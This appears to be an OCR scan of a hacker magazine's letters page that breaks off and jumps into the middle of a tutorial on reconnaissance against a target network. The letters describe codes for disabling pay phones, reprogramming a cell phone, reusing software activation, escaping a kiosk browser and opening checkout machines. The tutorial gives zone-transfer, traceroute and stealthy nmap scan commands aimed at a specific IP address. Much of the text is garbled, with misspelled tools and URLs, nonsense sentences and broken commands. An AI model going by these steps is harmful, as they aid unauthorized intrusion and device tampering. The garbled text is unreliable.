The other day my mom and I were in a Kroger store. She used the U-Scan thing and she dropped her credit card into it (don't ask how). So the guy came and opened it up and I managed to get a brief look into it. From what I saw, it looked like a normal cash register in a way except for the fact that it had a sleek, Mission/Apple/iMac aesthetic. I plan to go back to open it and see if I can find out more about the system. By the way, an easy way to open it is to take off the thing that you set your groceries on when the guy had it there.

LaserBrennX

Disarming store equipment can be achieved as a way-friendly act.

Dear 2600:

For a long time it's been somewhat difficult to find a decent port scanner for the Mac operating system. I eventually had to fall back and run one on an emulated version of Windows 9x. Last week I got my new copy of Mac OS X, which is really a Unix-based system called Darwin that has a Macintosh GUI. As I was browsing through its system utilities, I was surprised to find that Apple had included a built-in port scanner in their system software. But I guess that's kinda what you'd expect from a company co-founded by a phone phreak.

rsync7

Dear 2600:

As some of you might know, if you come across a pay phone with a little screen on it, you can enter your code that can run off the pay phone and so on. To get on the main menu, simply type 2*3*2*3*2*8 and a message will appear asking you for another code. If you punch in 555-555, the phone will be un-

usable for the next three minutes. There are many other codes but I am not going to publish them. You can have the existing record and figure out all the fun things you can do that Blue (the phone company in Vancouver) does not want you to.

Cyans

And apparently you don't want us to either since you're not giving us the rest of the codes. We'd like to know what else you can do. The number you give looks suspiciously like a regular phone number. Have you ever called that phone before without a reward? In New York some central office have a new method of doing the above using a variation of the 928 4444 number. Now, instead of dialing 928 in four your number read back nearly people have to dial 9280. Dialing 9280 breaks the phone (any phone or not) for a couple of minutes. There are variations to this depending on your area.

Dear 2600:

A note about MS Office 2000 professional (and possibly other versions). Once you install it, you can run it 30 times before you must register it. If you choose to register by phone, the installer gives you an 800 number to call and an alphanumeric code to read to the MS server rig. The service rig then gives you an alphanumeric code back, you type it in, and you're registered. I've successfully registered the same version of Office (see license) a dozen times or more in this fashion with a different code each time. I don't know about online or e-mail registration, but phone registration seems to be nothing more than a service rig with a phone and a keypad program.

Morn Star

Dear 2600:

Last summer I was on vacation in Chicago. I am a big sports fan and am easily amused with theme restaurants, so I went to the ESPN Zone restaurant. While waiting for a table I saw a computer monitor in a table in the waiting area. I went to check it out and realized it was a touch screen computer connected to the Internet. It was on the ESPN web site and there wasn't much you could do about it. There was no mouse, no keyboard, and no way of getting to something not on the web page, or so they thought. They had the screen maximized to the point where it was the only thing on the monitor. I decided to check out the site since I had time to kill. I was in the X-games part when I saw a link to a skater web page. I click the link and then took a link on that page, only the next page had some up-ward-t-maintained. Now, I got a bar across the top of the screen on the next page. This bar had nine options, like History, Favorites, and more options. Yet the most interesting was the icon for "My Computer." This was good.

I started to look around a little at what they had on their system. There was a lot, it was full of stuff. But I was out of time - I had to go out and waste a really well-timed to this city vacation by being kicked out of the restaurant. I hope someone will check this out for me. If they are in town, I have a feeling that this computer is connected to the main computer of the restaurant.

with a place like ESPN Zone that relies on customer entertainment by television and music, this could be fun. You could be in control of the whole place.

SkarpusDeath

As long as you're being entertained, why should he help?

Dear 2600:

The other day I had to place a call to customer support for my AT&T cell phone. I had just received a replacement phone (the original phone broke less than two months after I bought it). In order to register service from the old phone to the new one, the tech support guy attempted to set up some kind of control signal, but for whatever reason it didn't go through. He then instructed me to enter a sequence of keys in order to convert the phone to work with my new service number. The code he gave me was "40411444", followed by send. The phone then asked for a security code, which, in the grand tradition of security codes, was a long string of zeros. I was then presented with a prompt asking for the new number and I entered the number my old cell phone had used. If this really does work the way it looks like it does, this would seem to present some very interesting possibilities for people who want to mess around with their cell phones.

west666

Issue Problems

Dear 2600:

I've had it. 2600 has got to stop the Page 39 problem or I will cancel my subscription. I mean, it all started back in 1984 with "Winter 1993-1994" with "Spring '01", 1712 with "Summer 1990", 1713 with "Fall '01", 1714 with a black out, and 1811 with a white out. I, as a someone loyal and paying subscriber, demand the immediate reparation of the guilty parties or I'll sue you!

ding

We've been searching for this problem for quite a while. As we've actually acquired the correct font for our browser, we'll be advancing and hope it is a secure place, where it really shouldn't be that easy to wrong.

Dear 2600:

I recently got a stack of 2600 back issues (five years' worth). When I looked at 113, I found a couple of extra pages in the middle that were not properly stapled in. If anyone is missing pages 27 through 34, I have your extra pages here. Don't worry. My copy has been the originals and the loose pages, so I won't miss them.

HD2000

We used to have a real problem with things like this, including blank pages. If you get a defective back issue, just send it back to us and we'll get a replacement on your right away.

Dear 2600:

You should have knocked out "Page 37" on page 33 in 1811. "Spring 2000", as well. It just seems fitting. One thing I couldn't figure out, why was "Letters" or "DMS" on page 30? For good measure, would you

also knock out "Page 7" on page 7?

Juchung

There's absolutely nothing funny about a Microsoft call page. SANS stands for "Secure Message Service," which is a feature of GSM phones.

Master Alternatives

Dear 2600:

Concerning the growing indifference of Napster, you guys must know about the many other peers-to-peer networks out there, right? I use Resistor to access the gnutella network from which I can download software, movies, text files, music files, whatever - if it's on a hard drive, you can share it. I've never had problems locating non-musicstream music on gnutella. In fact, I've found lots of rare files and tracks still from all kinds of non-mainstream bands (Skinny Puppy, SMITMA, TheCoding Gentle, etc.). You can also get your stacked Billy Joel and Billy Joel copy but my point is you can get anything you want. Plus, there is no "central figure" governing the "network". It kinda reminds me of internet calls too, they don't work. It cannot be brought to court, it cannot be stopped. The attempt to do so would be as stupid as saying "I'm going to sue the Internet."

Shawn

It will be interesting to see if the record companies ever accuse the fact that they want to no longer possible and that they will have to adjust their strategy in order to survive. How many of the users in our-for call is a bit disturbing though and please join the ranks of those who want to legitimate every aspect of it. You can probably do better.

Counterpoint

Dear 2600:

This is in regard to your reply to 4313397 in 1811. If many reasonable people are, as you say, sickened by the proliferation of guns in our society, you must remember other reasonable people are tickened by the proliferation of some of the information contained in 2600. Both sides are guilty of shallow thinking and of demonizing the real instead of the issue. After all, information, like a gun, is a tool. Nothing more.

Beah

The big question here is information is similar to a gun. One is a specific weapon, the other is a generally unlimited form of expression. One has finite parameters and the other is infinite in scope. People who want to control information pose a far greater risk to a free society than those who want everyone to be licensed responsibility. And most free societies passionately agree.

Dear 2600:

I have one question. When will 2600 go back to being a magazine/quarterly about technology? Ever since the Kevin thing, your magazine has been nothing but a legal magazine. I will be the first to say that the legal issues are important, but it seems to me we have lost track on the real content of the magazine.

be looking at the DNS's to decide where to focus our attack. Windoze users can use a number of online tools to achieve the same goal. My personal favorite online package is Sam Spade which can be accessed at <http://samspade.org>.

Next we'll be working towards getting a better network structure or map of the system in question. One of the best ways to get a good geographical idea of the system is to execute a zone transfer. If the admin of the system is brain-dead enough not to disable this feature, a hacker may update the zone database from the primary master. This means that you may be able to enumerate a pretty fair description of exactly which box is where.

Use the `axfr` command from your shell to update the zone database and then use the `axfrtool` command to read the database records. You might learn a lot about this system! Windoze users may choose to use Sam Spade to achieve the same results.

Now we'll need to map our network structure and possible paths into our target network. We can use `traceroute` which can be found at <http://ftp.cw.itd.gov.tr/tracecom/ta/gz> and is included in the Windoze package most often. With this tool we can identify the path of communication set by the network as well as identify packet-filtering routers, firewalls, etc. Use the `traceroute` command followed by the domain to display the results of the packet's journey. We can assume that if the network has a firewall or router that the hop before the destination domain is the border router for the entire organization. Remember though that there may be multiple routing paths. If you get asterisks, it means that the firewall is blocking the path of the packets you're sending. Use the `-s` option in this fashion to dodge this:

```
$ traceroute -s -p53 206.69.34.22
```

You can also use `visualroute` if you are so graphically inclined. Visualroute provides a pretty accurate representation of the network path geographically (as in globally).

Now we move on to bigger and better things. We've determined to some degree the way the system is structured and possibly where firewalls and packet-filtering routers may be located. Now we'll figure out exactly which features are open for exploitation. We'll be using `ping` and `eping` to go about doing this. You can use these tools in this manner:

```
$ eping 206.69.34.1 255 (to generate a list of IPs for pinging)
```

```
$ ping 206.69.34.1 255 | ping -a (to see if they're "alive")
```

In this case we're scanning the subnet of 206.69.34.*. You have to make sure that you use quite a wide range of class D's when scanning the subnet. UNIX scanning should be done with `msnp` (undoubtedly): <http://www.insocure.org/msnp>. For Windoze users there are a few relatively decent tools out there: `Finger`, `SolarWinds` (<http://www.solarwinds.net>), `WS_Ping Pro Pack` (<http://www.ipswitch.com>), or `NetScan tools` (<http://www.netscan.com>).

I'll quickly outline the basics of network scanning. Network scanning works by sending out data "packets" called ICMP packets (at the basic level) to each of the subnets to determine if the IP address is "open" and "listening". Each tool determines whether the IP address is open in its own fashion. I'll explain the different methods a little later.

Some networks will block ICMP packets for obvious security reasons through packet-filtering routers or firewalls. Weenix users can use `nmmap` which offers TCP scans as well as ICMP scans. You may initiate the TCP scan with the `-PT` option and a port (try 80).

Now that we've decided which domains and IP addresses are open for enumeration, we need to determine which TCP and UDP "features" or applications are running on our target IP, what versions of these applications are running, and what OS (operating system) is running. We can figure this out by executing a "port scan". Port scanning works in the different ways that network scanning does.

The most common scanning technique is what is called the TCP connect scan. The TCP connect scan operates by sending a "SYN" packet to the system. The system responds with a "SYN-ACK" packet and the scanner in turn responds with an "ACK" packet. This technique is most common and is very easily detectable.

The second most common scanning technique is what is called TCP SYN scanning or "half-open scanning". With half-open scanning a full connection isn't made. Instead, it completes a two-way handshake with a SYN packet and a SYN-ACK packet (if the port is listening) or an RST/ACK packet (if the port isn't listening). This method is a little more sneaky and is most probably not logged.

The other scanning methods include TCP FIN scanning, TCP X-mas tree scanning, UDP scanning, and others. I won't really go into these but you can email me about them if you're very curious. (Don't worry, I won't bite. Not for being interested anyway.)

There are a few stellar tools out there for port scanning including `UDP_Scan` which is found in SAENT (<http://www.wdsi.com>), `NetCan` (<http://www.10ph.com/~wdsi/ncat/>), and `PortPro` and `PortScan` for Windoze (<http://www.securhythm.com>).

We'll be using `nmmap` because it's absolutely positively the greatest thing to come along for hackers' use and abuse since coffee. `Nmap` offers a wide variety of TCP and UDP options when scanning. For SYN scanning use the `-sS` option followed by the IP address. You can "fragment" packets (not as easily detectable by routers) with the `-f` option. Network scanning is achieved with the `-sF` option followed by the IP range. We can also send decoy packets to the system with the `-D` option which follows the IP address. How else can this get?

```
# nmmap -f 206.69.34.22 -D
```

Now we really really need to identify the operating systems that are supporting

the target system as well as the applications. We can identify some telltale signs of operating systems with a little determination and homework because vendors interpret specific RFC guidelines differently when writing TCP/IP stack design. For instance, the operating system is probably NT if ports 139 and 135 are open. If 139 is open but not 135, the system is probably WIN95/98. If many applications are running, it's probably some flavor of UNIX. Some telltale open port signs of a Unix box include the Berkeley R services (512-514), NFS (2049), portmapper (111), and really high port numbers (like over 32000) or so.

Stack snooping is a powerful technique that will allow you to determine each host's operating system with a good degree of probability. For more on TCP/IP stack design refer to <http://www.insocure.org/imaginarymap-fingerprinting-article.html>.

Stack snooping includes many many complicated methods of operating system enumeration such as FIN probing, bogus flag probing, ISN sampling, ACK value detection, ICMP error message echoing integrity, IOS (type of services), TCP options, etc.

Nmap employs all of these techniques with the `-O` option. Make sure to specify the port (usually -p80). Remember to update your `runmap` operating system signatures on a regular basis (<http://www.insecure.org/feq-bin/runmap-submitt.cgi>).

There are a couple of other tools that I like to use in addition to `nmmap` that make life a little easier at times (not always). `Quiso` only does OS detection but does a good job. `Chasps` is an awesome program that provides a graphical representation of OS enumeration (<http://www.owako.net/chasps/>).

Well, now you should have as much information as you'll ever get from your "cough" system "coughs". Have fun and always remember that snooping is what separates the elite from the kiddies.

